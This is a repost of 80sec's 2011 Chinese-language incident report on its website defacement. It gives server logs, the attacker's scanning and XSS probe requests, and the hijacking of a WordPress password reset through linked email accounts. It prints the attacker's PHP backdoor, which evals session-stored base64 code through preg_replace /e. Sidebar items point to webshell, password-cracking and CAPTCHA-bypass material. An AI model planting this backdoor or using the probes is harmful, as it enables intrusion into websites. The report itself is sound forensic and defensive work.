- 浏览: 21217 次
- 性别:
- 来自: 深圳
最新评论
EMail: jianxin#80sec.com [ 目录 ] 0×00 事件背景 在感恩节的晚上,我们的站点遭遇了攻击,几名未知性别的黑客成功涂改掉了我们的首页,事情发生后很多朋友对我们被攻击的原因和经过都很关心,各种猜测都有,加上我们后续对于这次攻击的分析结果来看,我们觉得整次攻击和事后应急及分析的过程都适合作为一次典型的案例分析,把整件事情披露出来无论是对我们还是对业界会非常有意义,入侵者给我们在感恩节送了这么好的礼物,我们要好好接受才对:) 事件发生之后的一段时间我们登录到服务器,由于首页替换的时间很短暂,我们甚至没有抓到截图,开始甚至都怀疑是ARP欺骗或者是DNS劫持之类的攻击,但是作为应急响应的箴言之一,我们最好不要相信猜测,一切以日志分析为主,一旦猜测我们从开始就输了。 File: `/home/jianxin/80sec.com/public_html/index.php’ 我们知道在linux系统下面的ctime会需要权限较高才能修改,而我们的系统是最新的patch,据我们了解也应该不存在使用未公开的漏洞来攻击我们的可能,毕竟我们只是一个技术站点,难道真的是ARP或者是Dns劫持么?在webserver的log里有一个选项记录了这一次请求所传递的数据量,我们对比了下发现,的确在某个时间首页的数据量有一个显著的减少: 173.234.184.45 – - [24/Nov/2011:20:44:13 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24″ 为676字节,而一般的请求大小为 98.142.220.112 – - [25/Nov/2011:00:39:32 +0800] “GET / HTTP/1.1″ 200 31831 “-” “curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15″ 31831字节,我们可以确认webserver的确出现了问题,入侵者的确能够控制我们的首页显示,到这里我们基本可以确定攻击时间和攻击的源IP了,当你被黑了的时候,第一个访问那个页面的基本就是攻击者本人,他们会迫不及待的来看攻击成果:) find /home/ -ctime 1 立刻我们就发现了一些好玩的东西: session_start(); 看来这就是那只后门了,写到了一个全局可写的缓存文件里,而且特意做了隐藏,基本是正常的代码也不触发什么关键字,那么问题在于这么一些可爱的代码是怎么到我的服务器上的呢?这个后门我们发现最早出现的时间并不是在80sec里,而是在同一服务器上一个80sec童鞋的Blog里,最早的时间可以追朔到 218.213.229.74 - - [24/Nov/2011:00:12:56 +0800] "GET /wp-content/wp-cache-config.php HTTP/1.1" 200 308 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.106 Safari/535.2" ip似乎也比较吻合,那么似乎假设如果没有猜错的话,第一个被攻击的目标应该是这个很勺的80sec童鞋的Blog才对,那么是如何攻击的呢?我们将日志里与这个ip相关的抽取出来 218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Admin1 HTTP/1.1" 404 7978 "-" "-" 攻击很早就发生了,甚至还使用了 218.213.229.74 - - [16/Nov/2011:20:29:10 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)" 一个web扫描工具对站点进行了详细的扫描,连一个功能简单的开源blog都不放过,可以猜测对一般的站点每天要遭受多少蹂躏,最后攻击者开始找回密码 218.213.229.74 – - [19/Nov/2011:05:25:39 +0800] “GET /wp-admin/images/button-grad-active.png HTTP/1.1″ 200 575 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″ 最后,攻击者的确成功的取回了密码,然后通过这个密码进入了后台,后台的功能比较丰富然后上传了后门,在清楚攻击者的手法之后我们很快定位了原因和进行了处理,我们的服务器以较低身份运行,而程序文件权限是以属主身份运行,所以整个web目录不可写,较好的控制了入侵的范围,在对入侵者放置在各个角落里的后门处理之后,我们修改相应密码恢复了站点的运行; 0×02 事件分析 我们讨论一次入侵事件,必须要清楚相应的目的,在恢复站点运行之后,我们分析了入侵者所有的动作,大概可以总结如下这次攻击更像是针对wooyun.org的一次攻击,因为wooyun.org近期的一些事情被迁移到日本的vps,所以这可能是一次长期的持久的渗透攻击,专业点称为APT攻击,但是由于代码逻辑完全不在这台服务器上,所以攻击者失败了。 0×03 事件启示 在这件事情里,我们觉得对我们最有意义包括两点,一点是现有互联网认证机制的崩溃,这主要表现在目前的互联网的认证是基于电子邮件的认证,电子邮件在各个企业和互联网公司都被用作标识用户身份,而经过近几年黑客一轮又一轮的洗礼,目前国内互联网企业里含有较大用户基数的站点都可能已经沦陷,而在即使知道自己用户数据库被窃取之后大多数的企业基于自身利益原因还是会保持沉默。黑客在攒积大量的用户密码之后,就可以使得基于账户密码,基于邮箱认证的现有安全认证机制失效,这已经是现有互联网企业的灾难,请想想你们企业内部邮箱是否对外,以及邮箱是否是静态密码,如果邮箱是内部,那么VPN呢,而这种安全机制的失效又称为攻击者攒积新的数据库的基础,形成一个巨大的黑色雪球,彻底瓦解互联网安全。 0×04 总结 在80sec出现问题之后,不少人猜测是漏洞还是什么原因遭受攻击,有人怀疑是安全意识问题,也有一些安全厂商询问是否可以通过WAF或者其他的安全产品来避免此次安全事件,不过在事件披露之后,相信大家应该很清楚能否通过现有产品来避免此类的攻击行为,我们的安全概念需要更新了,不只是漏洞也不只是安全意识了,包括安全的理解,对攻击的理解都需要有一个全新的认识了,最后欢迎微博上某位产品安全厂商开发出能够保护我们的安全产品,也欢迎攻击者可以联系到我们看看我们的整个过程的分析是否正确
Site: http://www.80sec.com
Date: 2011-11-30
From: http://www.80sec.com/
0×00 事件背景
0×01 应急响应
0×02 事件分析
0×03 事件启示
0×04 总结
0×01 应急响应
我们知道在webserver的日志里记录了几乎所有有价值的信息,我们后续的检测必须依赖于日志,所以建议各位日志没开的同学先把日志打开并且保存足够长的时间,在这个有价值的信息里,我们第一个需要找准的就是攻击发生的具体时间点,因为我们是首页被黑并且时间较短,我们迅速stat了下首页文件的内容,发现完全正常没有任何改变:
Size: 397 Blocks: 8 IO Block: 4096 regular file
Device: ca00h/51712d Inode: 579843 Links: 1
Access: (0644/-rw-r–r–) Uid: ( 1001/ jianxin) Gid: ( 1001/ jianxin)
Access: 2011-07-13 04:16:57.000000000 +0800
Modify: 2011-07-13 04:16:55.000000000 +0800
Change: 2011-10-14 17:43:32.000000000 +0800
218.213.229.74 – - [24/Nov/2011:20:44:26 +0800] “GET / HTTP/1.1″ 200 676 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152;
既然服务器有问题了,那我们来看看今天有什么文件被修改了:
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /my HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /Upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /User_Login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:02 +0800] "GET /upload HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /admin1 HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /conf HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /Test HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /houtai HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /user_login HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /sys HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:19:10:03 +0800] "GET /news_admin HTTP/1.1" 404 7978 "-" "-"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:11 +0800] "GET / HTTP/1.0" 200 37446 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)"
218.213.229.74 - - [16/Nov/2011:20:29:12 +0800] "GET /?s= HTTP/1.0″ 200 8620 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=t>alert(1499328686)%3Bt> HTTP/1.0″ 200 8667 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p=t>alert(812396909)%3Bt> HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28990417228%29%3B%22%3E HTTP/1.0″ 200 8586 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?s= HTTP/1.0″ 200 8777 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:12 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?s= HTTP/1.0″ 200 8816 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p=%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%288013950%29%3B%22%3E HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET / HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [16/Nov/2011:20:29:13 +0800] “GET /?p= HTTP/1.0″ 200 37446 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)”
218.213.229.74 – - [19/Nov/2011:05:25:40 +0800] “POST /wp-login.php HTTP/1.1″ 200 2155 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:01 +0800] “POST /wp-login.php HTTP/1.1″ 200 2156 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:03 +0800] “GET /wp-login.php?action=lostpassword HTTP/1.1″ 200 1741 “http://sex1986.com/wp-login.php” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
218.213.229.74 – - [19/Nov/2011:05:29:19 +0800] “POST /wp-login.php?action=lostpassword HTTP/1.1″ 200 2106 “http://sex1986.com/wp-login.php?action=lostpassword” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.772.0 Safari/535.1″
攻击者在取回邮箱密码的时候手法值得怀疑,尽管整个事件的源头是由于某个很勺的80sec童鞋,这位童鞋虽然很勺,但是绝对不使用弱口令也不会使用生日密码(我们的安全意识不像传闻的那样弱),同时这位悲催的童鞋有两个邮箱,一个邮箱是wordpess的密码找回邮箱!另外一个邮箱同样也是这个wordpress密码邮箱的密码找回邮箱!wordpess和两个邮箱的安全关联层层相扣!未知性别的感恩节攻击者采用读心术控制了我们这位很纯洁的童鞋的最后一个关键邮箱,在没有漏洞的情况下渗透进了服务器,得到了大家上面所看到的结果,很伟大,不是么?
通过一段时间的关联分析,我们发现与这次攻击相关的人都可能遭受到不同程度的牵连,包括曾经在80sec.com上注册的不少用户都通过邮箱找回了密码,而攻击的来源与此次攻击者正好相同,这里最大的问题在于,谁能够同时拥有这么多邮箱,包括163,hotmail以及gmail的密码,我们有理由相信这次攻击与国内很多大型社区的数据库失窃,与传闻的某邮箱数据库失窃有关。
攻击者所使用的后门开始有意识的进行躲避和查杀,如果不是入侵者通过缓存直接修改了首页,那么这次攻击可能隐蔽得更深更长时间,所造成的危害可能更大,对于80sec而言,我们所有的文档和技术都在站点进行分享,并没有安全级别要求较高的数据,所以可能影响不大,但是对于一些包含重要数据的企业和网站而言,同时我们事后发现攻击者所使用的IP是一家站点,很可能该家站点已经被攻陷作为跳板,如何在攻击发生和尝试发生时发现和阻止将是一件很有挑战的事情。
另外一部分是关于apt攻击的,理论上我们只要有一个目标,基本是没有攻破不了的,特别是对于大企业而言,架构的改动,IDC的扩充,企业并购和投资都可能为你的安全体系引入新的风险,如何在一个动态的环境下建设一个较为完善的安全体系,这将是安全人员面临的一个巨大挑战,因为从这一次时间里就可以看到,我们并没有因为是存在什么实际的漏洞而导致被入侵。
发表评论
-
phpmyadmin 后台拿webshell
2012-03-08 09:57 22531:phpmyadmin 后台拿webshellphpmya ... -
利用john破解linux系统密码
2012-03-06 18:53 2510昨天利用任意下载漏洞得到了linux系统的passwd和sha ... -
iteye照片名称处出现xss跨站!!
2011-12-21 20:44 805iteye照片名称处添加xss跨站语句,会执行生效啊!! 如 ... -
推荐安全漏洞网站 www.wooyun.org
2011-12-15 16:31 1118www.wooyun.org 挺喜欢这个网站,我也有账号哈 ...
相关推荐
Go-xsec-traffic是一款专为安全分析设计的轻量级工具,主要功能是对网络中的恶意流量进行检测和分析。这款程序由两个核心组件构成:传感器(Sensor)和服务器(Server)。下面将详细介绍这两个组件以及Go语言在安全...
自2004财年起, SEC就开始对软件开发项目的数据进行定义、收集、分析及应用工作,并每年发布一份名为“IPA/SEC日本软件开发项目白皮书”的报告,总结前一年的数据分析成果。2007年的白皮书是该系列报告的第三期,通过...
Patran_Sec12_分析.ppt 有限元分析
【标题】"2019SEC conferences research article.rar" 是一个包含2019年安全与效能计算(Security and Efficiency in Computing, SEC)会议论文的压缩文件,专注于边缘计算领域的研究。 【描述】该压缩包提供了2019...
【标题】"90sec版本火狐浏览器Firefox"是一个由知名安全团队90sec定制的安全增强型网络浏览器。这个特别的火狐版本是为网络安全专业人士和爱好者设计的,集成了许多安全相关的插件和功能,旨在提供更强大的在线保护...
阿里系滑动解锁获取 x5sec 值,进而绕过人机验证获取接口数据,仅供学习使用,不可用于谋利
Python是一种广泛应用于Web开发、数据分析、人工智能等多个领域的高级编程语言,其简洁的语法和丰富的库使其在自动化和脚本编写方面表现出色。在网络安全和验证码破解领域,Python也经常被用来编写解决各种验证机制...
霍里巴(Horiba)是一家日本的公司,专注于精密科学仪器以及分析和测量技术的开发与生产。流量计是用于测量流体(液体或气体)通过一段管道流量的仪器。SEC-N100系列流量计是霍里巴生产的一款电子产品,具有数字接口...
在这个过程中,SEC(Section)和PES(Packetized Elementary Stream)是两个关键概念。 SEC通道,全称为"Section"通道,主要负责处理传输流中的各种管理信息,如ECM(Entitlement Control Message)、EMM...
SEC驱动程序是专门为ARM架构设计的一种设备驱动程序,它在嵌入式系统和计算机硬件之间起着桥梁的作用,使得操作系统能够有效地与特定的硬件设备进行通信。ARM架构广泛应用于各种设备,从智能手机到嵌入式系统,乃至...
* 安全信息管理:XSec 使用安全信息管理技术来收集、分析和响应安全事件数据,帮助用户快速响应安全事件。 * 威胁情报分析:XSec 使用威胁情报分析技术来收集和分析网络安全威胁信息,帮助用户预测和防止恶意攻击。 ...
DNS SEC documents part-III
### sec1-v2 ECC规范解析 #### 一、引言 **SEC 1**,即**Elliptic Curve Cryptography** (ECC)标准的第一部分,由Certicom Research发布,是一份详尽的技术文档,旨在定义椭圆曲线密码学领域的各种技术和实践标准...
1. SEC2410产品介绍:SEC2410是一款设备,旨在提供一种灵活的方式来为嵌入式音频/视频系统(如电视、DVD播放器、机顶盒、便携式媒体复制器或播放器等)访问存储在闪存卡(例如记忆棒MS、安全数字/多媒体卡SD/MMC以及...
### NXP LS104x 系列 SEC硬件加解密驱动机制分析 #### 前言 在当今数字化世界中,信息安全变得越来越重要。为了应对这一挑战,NXP 半导体公司推出了LS104x 系列处理器,其中包含了SEC(Security Engine Controller...
开发者可能通过分析阿里滑块验证的网络请求和响应,理解其工作原理,并利用易语言实现相应的模拟过程。 "客户端-1.6.exe" 可能是一个辅助工具或者整个验证解决方案的执行程序,用于与目标网站交互,执行滑块验证的...
《Spring Framework 2.5.6.SEC01:经典版本的深度剖析》 Spring Framework作为Java开发领域的重要支柱,自推出以来就以其强大的功能和灵活性赢得了广大开发者的心。2.5.6.SEC01是Spring的一个经典版本,包含了丰富...
目录网盘文件永久链接 HCIA-SEC第一天上午 HCIA-SEC第一天下午 HCIA-SEC第二天 HCIA-SEC第三天上午 HCIA-SEC第三天下午
plexus-sec-dispatcher-1.3.jar
标题"sec.zip_sec汇编_sec单片机"暗示了我们将探讨如何使用汇编语言来创建一个单片机秒表应用。这个秒表功能每秒钟更新一次显示值,并且具备高位消隐功能,意味着当秒数值达到99后,会自动重置回0,而不会溢出或导致...